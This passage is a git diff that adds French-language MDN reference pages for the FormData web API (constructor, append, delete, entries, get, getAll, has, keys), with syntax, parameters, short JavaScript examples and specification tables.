+<p>Ces constantes sont utiles pour déterminer l'intensité relative de la pression indiquée par {{domxref ("MouseEvent.webkitForce")}} :</p>
+
+<dl>
+ <dt>{{domxref("MouseEvent.WEBKIT_FORCE_AT_MOUSE_DOWN")}} {{non-standard_inline}}{{readonlyinline}}</dt>
+ <dd>Force minimum nécessaire pour un click normal.</dd>
+ <dt>{{domxref("MouseEvent.WEBKIT_FORCE_AT_FORCE_MOUSE_DOWN")}} {{non-standard_inline}}{{readonlyinline}}</dt>
+ <dd>Force minimum nécessaire pour un click de force.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p><em>Ne fait partie d'aucune spécification.</em> Apple a <a href="https://developer.apple.com/library/prerelease/mac/documentation/AppleApplications/Conceptual/SafariJSProgTopics/RespondingtoForceTouchEventsfromJavaScript.html">une description dans la bibilitothèque Mac Developer</a>.</p>
diff --git a/files/fr/web/api/formdata/append/index.html b/files/fr/web/api/formdata/append/index.html
new file mode 100644
index 0000000000..f7c1e40a75
--- /dev/null
+++ b/files/fr/web/api/formdata/append/index.html
@@ -0,0 +1,98 @@
+---
+title: FormData.append()
+slug: Web/API/FormData/append
+tags:
+  - API
+  - Append
+  - FormData
+  - Méthode
+  - Reference
+  - XHR
+  - XMLHttpRequest
+translation_of: Web/API/FormData/append
+---
+<p>{{APIRef("XMLHttpRequest")}}</p>
+
+<p>La méthode <code><strong>append()</strong></code> de l'interface {{domxref("FormData")}} ajoute une nouvelle valeur à une clé existante dans un objet <code>FormData</code>, ou rajoute cette clé et cette valeur quand elle n'existe pas.</p>
+
+<p>La différence entre {{domxref("FormData.set")}} et <code>append()</code> est que, quand la clé existe, {{domxref("FormData.set")}} va remplacer les valeurs existantes avec la nouvelle alors qu' <code>append()</code> va rajouter celle-ci à la fin de l'ensemble des valeurs existantes.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Cette méthode est disponible dans les <a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers</a>.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Il y a deux versions de cette méthode : avec deux ou trois paramètres</p>
+
+<pre class="brush: js">formData.append(name, value);
+formData.append(name, value, filename);</pre>
+
+<h3 id="append_Parameters" name="append()_Parameters">Paramètres</h3>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>Le nom de la clé dont les données sont contenues dans <code>value</code>.</dd>
+ <dt><code>value</code></dt>
+ <dd>La valeur du champ clé. Elle peut être une {{domxref("USVString")}} ou un {{domxref("Blob")}} (incluant les sous-classes comme {{domxref("File")}}).</dd>
+ <dt><code>filename </code>{{optional_inline}}</dt>
+ <dd>Le nom du fichier envoyé au serveur (a {{domxref("USVString")}}), quand un {{domxref("Blob")}} ou un {{domxref("File")}} est passé en second paramètre. Le nom du fichier par défaut pour des objets {{domxref("Blob")}} est "blob". Le nom du fichier par défaut pour des objets {{domxref("File")}} est le nom du fichier de l'objet.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note:</strong> Si vous spécifiez un  {{domxref("Blob")}} comme donnée rattachée à un objet de type <code>FormData</code>, le nom de fichier envoyé au serveur sera dans l'entête "Content-Disposition" mais peut varier selon le navigateur.</p>
+</div>
+
+<h3 id="Retours">Retours</h3>
+
+<p>Void.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>La ligne suivante crée un objet <code>FormData</code> vide :</p>
+
+<pre class="brush: js">var formData = new FormData(); // Actuellement vide</pre>
+
+<p>Vous pouvez rajouter des paires clé/valeur en utilisant {{domxref("FormData.append")}}:</p>
+
+<pre class="brush: js">formData.append('username', 'Chris');
+formData.append('userpic', myFileInput.files[0], 'chris.jpg');</pre>
+
+<p>Comme pour un formulaire classique, vous pouvez ajouter plusieurs valeurs pour la même clé. Par exemple ( et pour être en accord avec les conventions de nommage PHP, on ajoute [] au nom de la clé):</p>
+
+<pre class="brush: js">formData.append('userpic[]', myFileInput.files[0], 'chris1.jpg');
+formData.append('userpic[]', myFileInput.files[1], 'chris2.jpg');</pre>
+
+<p>Cette technique permet de simplement gérer l'envoi de plusieurs fichiers avec l'envoi d'une structure facilement itérable.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest','#dom-formdata-append','append()')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.FormData.append")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("XMLHTTPRequest")}}</li>
+ <li><a href="/fr/docs/Web/API/XMLHttpRequest/Utiliser_XMLHttpRequest" title="Using XMLHttpRequest">Utiliser XMLHttpRequest</a></li>
+ <li><a href="/fr/docs/Web/API/FormData/Utilisation_objets_FormData" title="DOM/XMLHttpRequest/FormData/Using_FormData_objects">Utiliser les objets FormData</a></li>
+ <li>{{HTMLElement("Form")}}</li>
+</ul>
diff --git a/files/fr/web/api/formdata/delete/index.html b/files/fr/web/api/formdata/delete/index.html
new file mode 100644
index 0000000000..3540d9d9e0
--- /dev/null
+++ b/files/fr/web/api/formdata/delete/index.html
@@ -0,0 +1,78 @@
+---
+title: FormData.delete()
+slug: Web/API/FormData/delete
+tags:
+  - API
+  - FormData
+  - Méthode
+  - Reference
+  - XHR
+  - XMLHttpRequest
+  - delete
+translation_of: Web/API/FormData/delete
+---
+<p>{{APIRef("XMLHttpRequest")}}</p>
+
+<p>La méthode <code><strong>delete()</strong></code> de l'interface {{domxref("FormData")}} supprime une clé et sa (ses) valeur(s) d'un objet <code>FormData</code>.</p>
+
+<div class="note">
+<p><strong>Note </strong>: Cette méthode est disponible dans les <a href="/fr/docs/Web/API/Web_Workers_API">Web Workers</a>.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">formData.delete(name);</pre>
+
+<h3 id="append_Parameters" name="append()_Parameters">Paramètres</h3>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>Le nom de la clé que vous voulez supprimer.</dd>
+</dl>
+
+<h3 id="Retours">Retours</h3>
+
+<p>Void.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>La ligne suivante crée un objet <code>FormData</code> vide et le pré-remplit avec les paires clé/valeur d'un formulaire :</p>
+
+<pre class="brush: js">var formData = new FormData(myForm);</pre>
+
+<p>Vous pouvez supprimer les clés et leurs valeurs en utilisant <code>delete()</code>:</p>
+
+<pre class="brush: js">formData.delete('username');
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest','#dom-formdata-delete','delete()')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.FormData.delete")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("XMLHTTPRequest")}}</li>
+ <li><a href="/fr/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest" title="Using XMLHttpRequest">Utiliser XMLHttpRequest</a></li>
+ <li><a href="/fr/docs/Web/API/FormData/Utilisation_objets_FormData" title="DOM/XMLHttpRequest/FormData/Using_FormData_objects">Utiliser les objets FormData</a></li>
+ <li>{{HTMLElement("Form")}}</li>
+</ul>
diff --git a/files/fr/web/api/formdata/entries/index.html b/files/fr/web/api/formdata/entries/index.html
new file mode 100644
index 0000000000..d8996c1183
--- /dev/null
+++ b/files/fr/web/api/formdata/entries/index.html
@@ -0,0 +1,81 @@
+---
+title: FormData.entries()
+slug: Web/API/FormData/entries
+tags:
+  - API
+  - Entries
+  - FormData
+  - Méthode
+  - Reference
+  - XHR
+  - XMLHttpRequest
+translation_of: Web/API/FormData/entries
+---
+<p>{{APIRef("XMLHttpRequest")}}</p>
+
+<p>La methode <strong>FormData.entries()</strong> retourne un {{jsxref("Les_protocoles_iteration",'iterateur')}} permettant d'accéder aux paires clefs/valeurs contenues dans cet objet.<br>
+ La clef de chaque paire est une {{domxref("USVString")}}. De la même manière, la valeur peut être une {{domxref("USVString")}} ou un {{domxref("Blob")}}.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Cette methode est disponible dans les <a href="/fr/docs/Web/API/Web_Workers_API">Web Workers</a>.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">formData.entries();</pre>
+
+<h3 id="Valeur_retournée">Valeur retournée</h3>
+
+<p>Retourne un {{jsxref("Les_protocoles_iteration","iterateur")}}.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js;highlight:[7]">// Creation d'un objet FormData
+var formData = new FormData();
+formData.append('key1', 'value1');
+formData.append('key2', 'value2');
+
+// Affichage des paires clefs/valeurs
+for(var pair of formData.entries()) {
+   console.log(pair[0]+ ', '+ pair[1]);
+}
+</pre>
+
+<p>Le resultat est:</p>
+
+<pre>key1, value1
+key2, value2</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest','#dom-formdata','entries() (as iterator&lt;&gt;)')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_navigateurs">Compatibilité navigateurs</h2>
+
+<div>
+
+
+<p>{{Compat("api.FormData.entries")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("XMLHTTPRequest")}}</li>
+ <li><a href="/fr/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest" title="Using XMLHttpRequest">Utiliser XMLHttpRequest</a></li>
+ <li><a href="/fr/docs/Web/API/FormData/Utilisation_objets_FormData" title="DOM/XMLHttpRequest/FormData/Using_FormData_objects">Utiliser les objets FormData</a></li>
+ <li>{{HTMLElement("Form")}}</li>
+</ul>
diff --git a/files/fr/web/api/formdata/formdata/index.html b/files/fr/web/api/formdata/formdata/index.html
new file mode 100644
index 0000000000..faf5b1cf68
--- /dev/null
+++ b/files/fr/web/api/formdata/formdata/index.html
@@ -0,0 +1,101 @@
+---
+title: FormData()
+slug: Web/API/FormData/FormData
+tags:
+  - API
+  - Constructeur
+  - FormData
+  - Reference
+  - XHR
+  - XMLHttpRequest
+translation_of: Web/API/FormData/FormData
+---
+<p>{{APIRef("XMLHttpRequest")}}</p>
+
+<p>Le constructeur <code><strong>FormData()</strong></code> crée un nouvel objet {{domxref("FormData")}}.</p>
+
+<div class="note">
+<p><strong>Note </strong>: Cette fonctionnalité est disponible dans <a href="/fr/docs/Web/API/Web_Workers_API">Web Workers</a>.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js"><code>var formData = new FormData(</code><code>form</code><code>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Paramètres</h3>
+
+<dl>
+ <dt><code>form </code>{{optional_inline}}</dt>
+ <dd>Un element HTML {{HTMLElement("form")}} — quand il est spécifié, l'objet {{domxref("FormData")}} sera rempli avec les clés/valeurs du formulaire en utilisant les noms de propriétés de chaque élément pour clé et les valeurs soumises. Cela encodera aussi le contenu des fichiers.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>La ligne suivante crée un objet <code>FormData</code> vide:</p>
+
+<pre class="brush: js">var formData = new FormData(); // Formulaire vide à cet instant</pre>
+
+<p>Vous pouvez ajouter un couple clé/valeur en utilisant {{domxref("FormData.append")}} :</p>
+
+<pre class="brush: js">formData.append('username', 'Chris');
+</pre>
+
+<p>Ou vous pouvez spécifier l'argument optionnel <code><em>form</em></code> à la création de l'objet <code>FormData</code> pour le pré-remplir avec les valeurs issues du formulaire spécifié :</p>
+
+<pre class="brush: html">&lt;form id="myForm" name="myForm"&gt;
+  &lt;div&gt;
+    &lt;label for="username"&gt;Enter name:&lt;/label&gt;
+    &lt;input type="text" id="username" name="username"&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;label for="useracc"&gt;Enter account number:&lt;/label&gt;
+    &lt;input type="text" id="useracc" name="useracc"&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;label for="userfile"&gt;Upload file:&lt;/label&gt;
+    &lt;input type="file" id="userfile" name="userfile"&gt;
+  &lt;/div&gt;
+&lt;input type="submit" value="Submit!"&gt;
+&lt;/form&gt;
+</pre>
+
+<div class="note">
+<p><strong>Note </strong>: Seuls les champs de formulaires valides sont inclus dans un objet FormData, c'est-à-dire ceux qui portent un nom (attribut <code>name</code>), qui ne sont pas désactivés et qui sont cochés (boutons radio et cases à cocher) ou sélectionnés (une ou plusieurs options dans une sélection).</p>
+</div>
+
+<pre class="brush: js">var myForm = document.getElementById('myForm');
+formData = new FormData(myForm);</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest','#dom-formdata','FormData()')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.FormData.FormData")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("XMLHTTPRequest")}}</li>
+ <li><a href="/fr/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest">Manipuler <code>XMLHttpRequest</code></a></li>
+ <li><a href="/fr/docs/DOM/XMLHttpRequest/FormData/Using_FormData_Objects">Utiliser les objets <code>FormData</code></a></li>
+ <li>{{HTMLElement("Form")}}</li>
+</ul>
diff --git a/files/fr/web/api/formdata/get/index.html b/files/fr/web/api/formdata/get/index.html
new file mode 100644
index 0000000000..72267b3a68
--- /dev/null
+++ b/files/fr/web/api/formdata/get/index.html
@@ -0,0 +1,82 @@
+---
+title: FormData.get()
+slug: Web/API/FormData/get
+tags:
+  - API
+  - FormData
+  - Méthode
+  - Reference
+  - XHR
+  - XMLHttpRequest
+  - get
+translation_of: Web/API/FormData/get
+---
+<p>{{APIRef("XMLHttpRequest")}}</p>
+
+<p>La méthode <code>get()</code> de l'interface {{domxref("FormData")}} renvoie la première valeur associée à une clé donnée dans un objet <code>FormData</code>. Si vous attendez plusieurs valeurs et que vous les voulez toutes, utilisez plutôt la méthode {{domxref("FormData.getAll()", "getAll()")}}.</p>
+
+<div class="note">
+<p><strong>Note</strong> : Cette méthode est disponible dans les <a href="/fr/docs/Web/API/Web_Workers_API">Web Workers</a>.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">formData.get(name);</pre>
+
+<h3 id="append_Parameters" name="append()_Parameters">Paramètres</h3>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>Un {{domxref("USVString")}} représentant le nom de la clé que vous souhaitez retrouver.</dd>
+</dl>
+
+<h3 id="Valeur_retournée">Valeur retournée</h3>
+
+<p>Un {{domxref("FormDataEntryValue")}} contenant la valeur. Si la clé n'existe pas, la méthode renvoie zéro.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>La ligne suivante crée un objet <code>FormData</code> vide :</p>
+
+<pre class="brush: js">var formData = new FormData();</pre>
+
+<p>Si nous ajoutons deux valeurs <code>username</code> en utilisant {{domxref("FormData.append")}}:</p>
+
+<pre class="brush: js">formData.append('username', 'Chris');
+formData.append('username', 'Bob');</pre>
+
+<p>La fonction suivante <code>get()</code> peut uniquement retrouner la première valeur <code>username</code> annexée :</p>
+
+<pre class="brush: js">formData.get('username'); // Returns "Chris"</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest','#dom-formdata-get','get()')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.FormData.get")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("XMLHTTPRequest")}}</li>
+ <li><a href="/fr/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest" title="Using XMLHttpRequest">Utiliser XMLHttpRequest</a></li>
+ <li><a href="/fr/docs/Web/API/FormData/Utilisation_objets_FormData" title="DOM/XMLHttpRequest/FormData/Using_FormData_objects">Utiliser les objets FormData</a></li>
+ <li>{{HTMLElement("Form")}}</li>
+</ul>
diff --git a/files/fr/web/api/formdata/getall/index.html b/files/fr/web/api/formdata/getall/index.html
new file mode 100644
index 0000000000..4faddd8bd8
--- /dev/null
+++ b/files/fr/web/api/formdata/getall/index.html
@@ -0,0 +1,82 @@
+---
+title: FormData.getAll()
+slug: Web/API/FormData/getAll
+tags:
+  - API
+  - FormData
+  - Méthode
+  - Reference
+  - XHR
+  - XMLHttpRequest
+  - getAll
+translation_of: Web/API/FormData/getAll
+---
+<p>{{APIRef("XMLHttpRequest")}}</p>
+
+<p>La méthode <code><strong>getAll()</strong></code> de l'interface {{domxref("FormData")}} renvoie toutes les valeurs associées à une clé donnée à partir d'un objet <code>FormData</code>.</p>
+
+<div class="note">
+<p><strong>Note</strong> : Cette méthode est disponible dans les <a href="/fr/docs/Web/API/Web_Workers_API">Web Workers</a>.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">formData.getAll(name);</pre>
+
+<h3 id="append_Parameters" name="append()_Parameters">Paramètres</h3>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>Un {{domxref("USVString")}} représentant le nom de la clé que vous voulez récupérer.</dd>
+</dl>
+
+<h3 id="Retours">Retours</h3>
+
+<p>Un tableau de {{domxref("FormDataEntryValue")}} dont la clé correspond à la valeur passée dans le paramètre <code>name</code>. Si la clé n'existe pas, la méthode renvoie une liste vide.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>La ligne suivante crée un objet <code>FormData</code> vide :</p>
+
+<pre class="brush: js">var formData = new FormData();</pre>
+
+<p>Si nous ajoutons deux valeurs <code>username</code> en utilisant {{domxref("FormData.append")}} :</p>
+
+<pre class="brush: js">formData.append('username', 'Chris');
+formData.append('username', 'Bob');</pre>
+
+<p>La fonction <code>getAll()</code> suivante va retourner chaque valeurs de <code>username</code> dans un tableau :</p>
+
+<pre class="brush: js">formData.getAll('username'); // Returns ["Chris", "Bob"]</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest','#dom-formdata-getall','getAll()')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.FormData.getAll")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("XMLHTTPRequest")}}</li>
+ <li><a href="/fr/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest" title="Using XMLHttpRequest">Utiliser XMLHttpRequest</a></li>
+ <li><a href="/fr/docs/Web/API/FormData/Utilisation_objets_FormData" title="DOM/XMLHttpRequest/FormData/Using_FormData_objects">Utiliser les objets FormData</a></li>
+ <li>{{HTMLElement("Form")}}</li>
+</ul>
diff --git a/files/fr/web/api/formdata/has/index.html b/files/fr/web/api/formdata/has/index.html
new file mode 100644
index 0000000000..82ad7bb947
--- /dev/null
+++ b/files/fr/web/api/formdata/has/index.html
@@ -0,0 +1,80 @@
+---
+title: FormData.has()
+slug: Web/API/FormData/has
+tags:
+  - API
+  - FormData
+  - Méthode
+  - Reference
+  - XHR
+  - XMLHttpRequest
+  - has
+translation_of: Web/API/FormData/has
+---
+<p>{{APIRef("XMLHttpRequest")}}</p>
+
+<p>La méthode <code><strong>has()</strong></code> de l'interface {{domxref("FormData")}} renvoie un booléen indiquant si un objet <code>FormData</code> contient une certaine clé.</p>
+
+<div class="note">
+<p><strong>Note </strong>: Cette méthode est disponible dans les <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API">Web Workers</a>.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">formData.has(name);</pre>
+
+<h3 id="append_Parameters" name="append()_Parameters">Paramètres</h3>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>Un {{domxref("USVString")}} représentant le nom de la clé que vous voulez tester.</dd>
+</dl>
+
+<h3 id="Retours">Retours</h3>
+
+<p>Un {{domxref("Boolean")}}.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>La ligne suivante crée un objet <code>FormData</code> vide :</p>
+
+<pre class="brush: js">var formData = new FormData();</pre>
+
+<p>L'extrait suivant montre les résultats des tests effectués pour vérifier l'existence d'un <code>username</code> dans l'objet FormData, avant et après avoir ajouté une valeur <code>username</code> avec {{domxref("FormData.append")}} :</p>
+
+<pre class="brush: js">formData.has('username'); // Retourne false
+formData.append('username', 'Chris');
+formData.has('username'); // Retourne true
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest','#dom-formdata-has','has()')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.FormData.has")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("XMLHTTPRequest")}}</li>
+ <li><a href="https://wiki.developer.mozilla.org/fr/docs/Web/API/XMLHttpRequest/Utiliser_XMLHttpRequest" title="En/Using XMLHttpRequest">Utilisation de XMLHttpRequest</a></li>
+ <li><a href="https://wiki.developer.mozilla.org/fr/docs/Web/API/FormData/Utilisation_objets_FormData" title="en/DOM/XMLHttpRequest/FormData/Using_FormData_objects">Utilisation des objects FormData </a></li>
+ <li>{{HTMLElement("Form")}}</li>
+</ul>
diff --git a/files/fr/web/api/formdata/index.html b/files/fr/web/api/formdata/index.html
new file mode 100644
index 0000000000..2c16e20d2a
--- /dev/null
+++ b/files/fr/web/api/formdata/index.html
@@ -0,0 +1,87 @@
+---
+title: FormData
+slug: Web/API/FormData
+tags:
+  - API
+  - FormData
+  - Interface
+  - Reference
+  - XMLHttpRequest
+translation_of: Web/API/FormData
+---
+<p>{{APIRef("XMLHttpRequest")}}</p>
+
+<p>L'interface <code>FormData</code> permet de construire facilement un ensemble de paires clé/valeur représentant les champs du formulaire et leurs valeurs, qui peuvent ensuite être facilement envoyées en utilisant la méthode {{domxref("XMLHttpRequest.send()")}} de l'objet XMLHttpRequest. Il utilise le même format qu'utilise un formulaire si le type d'encodage est mis à <code>"multipart/form-data"</code>.</p>
+
+<p>Vous pouvez également le passer directement au constructeur {{domxref("URLSearchParams")}} si vous souhaitez générer des paramètres de requête de la même manière qu'un {{HTMLElement("form")}} le ferait s'il utilisait une simple soumission <code>GET</code>.</p>
+
+<p>Un objet implémentant <code>FormData</code> peut être utilisé directement dans une structure {{jsxref("Statements/for...of", "for...of")}}, au lieu de {{domxref('FormData.entries()', 'entries()')}} : <code>for (var p of myFormData)</code> est équivalent à <code>for (var p of myFormData.entries())</code>.</p>
+
+<div class="note">
+<p><strong>Note </strong>: Cette fonctionnalité est disponible dans les <a href="/fr/docs/Web/API/Web_Workers_API">Web Workers</a>.</p>
+</div>
+
+<h2 id="Constructeur">Constructeur</h2>
+
+<dl>
+ <dt>{{domxref("FormData.FormData","FormData()")}}</dt>
+ <dd>Crée un nouvel objet <code>FormData</code>.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{domxref("FormData.append()")}}</dt>
+ <dd>Ajoute une nouvelle valeur à une clé existante dans un objet <code>FormData</code>, ou ajoute la clé si elle n'existe pas encore.</dd>
+ <dt>{{domxref("FormData.delete()")}}</dt>
+ <dd>Supprime une paire clé/valeur d'un objet <code>FormData</code>.</dd>
+ <dt>{{domxref("FormData.entries()")}}</dt>
+ <dd>Retourne une {{jsxref("Les_protocoles_iteration", "itération")}} permettant de passer en revue toutes les paires clé/valeur contenues dans cet objet.</dd>
+ <dt>{{domxref("FormData.get()")}}</dt>
+ <dd>Renvoie la première valeur associée à une clé donnée à partir d'un objet <code>FormData</code>.</dd>
+ <dt>{{domxref("FormData.getAll()")}}</dt>
+ <dd>Retourne un tableau de toutes les valeurs associées à une clé donnée à partir d'un <code>FormData</code>.</dd>
+ <dt>{{domxref("FormData.has()")}}</dt>
+ <dd>Renvoie un booléen indiquant si un objet <code>FormData</code> contient une certaine clé.</dd>
+ <dt>{{domxref("FormData.keys()")}}</dt>
+ <dd>Retourne une {{jsxref("Les_protocoles_iteration", "itération")}} permettant de parcourir toutes les clés des paires clé/valeur contenues dans cet objet.</dd>
+ <dt>{{domxref("FormData.set()")}}</dt>
+ <dd>Définit une nouvelle valeur pour une clé existante dans un objet <code>FormData</code>, ou ajoute la clé/valeur si elle n'existe pas encore.</dd>
+ <dt>{{domxref("FormData.values()")}}</dt>
+ <dd>Retourne une {{jsxref("Les_protocoles_iteration", "itération")}} permettant de parcourir toutes les clés des paires clé/valeur contenues dans cet objet.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest','#interface-formdata','FormData')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>FormData définit dans les specs XHR</td>
+  </tr>
+ </tbody>
+</table>
+
+<ul>
+</ul>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.FormData")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("XMLHTTPRequest")}}</li>
+ <li><a href="/fr/docs/Web/API/XMLHttpRequest/Utiliser_XMLHttpRequest" title="En/Using XMLHttpRequest">Utilisation de XMLHttpRequest</a></li>
+ <li><a href="/fr/docs/Web/API/FormData/Utilisation_objets_FormData" title="en/DOM/XMLHttpRequest/FormData/Using_FormData_objects">Utilisation des objects FormData </a></li>
+ <li>{{HTMLElement("Form")}}</li>
+</ul>
diff --git a/files/fr/web/api/formdata/keys/index.html b/files/fr/web/api/formdata/keys/index.html
new file mode 100644
index 0000000000..2aa0122f78
--- /dev/null
+++ b/files/fr/web/api/formdata/keys/index.html
@@ -0,0 +1,79 @@
+---
+title: FormData.keys()
+slug: Web/API/FormData/keys
+tags:
+  - API
+  - FormData
+  - Iteration
+  - Méthode
+  - Reference
+  - XHR
+  - XMLHttpRequestAPI
+  - keys
+translation_of: Web/API/FormData/keys
+---
+<p>{{APIRef("XMLHttpRequest")}}</p>
+
+<p>La méthode <code>FormData.keys()</code> renvoie une {{jsxref("Les_protocoles_iteration", "itération")}} permettant de parcourir toutes les clés contenues dans cet objet. Les clés sont des objets {{domxref("USVString")}}.</p>
+
+<div class="note">
+<p><strong>Note </strong>: Cette méthode est disponible dans les <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API">Web Workers</a>.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">formData.keys();</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Retourne une {{jsxref("Les_protocoles_iteration", "itération")}}.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js;highlight:[7]">// Créer un object FormData test
+var formData = new FormData();
+formData.append('cle1', 'valeur1');
+formData.append('cle2', 'valeur2');
+
+// Affiche les clés
+for (var key of formData.keys()) {
+   console.log(key);
+}
+</pre>
+
+<p>Le résultat est :</p>
+
+<pre>cle1
+cle2</pre>
+
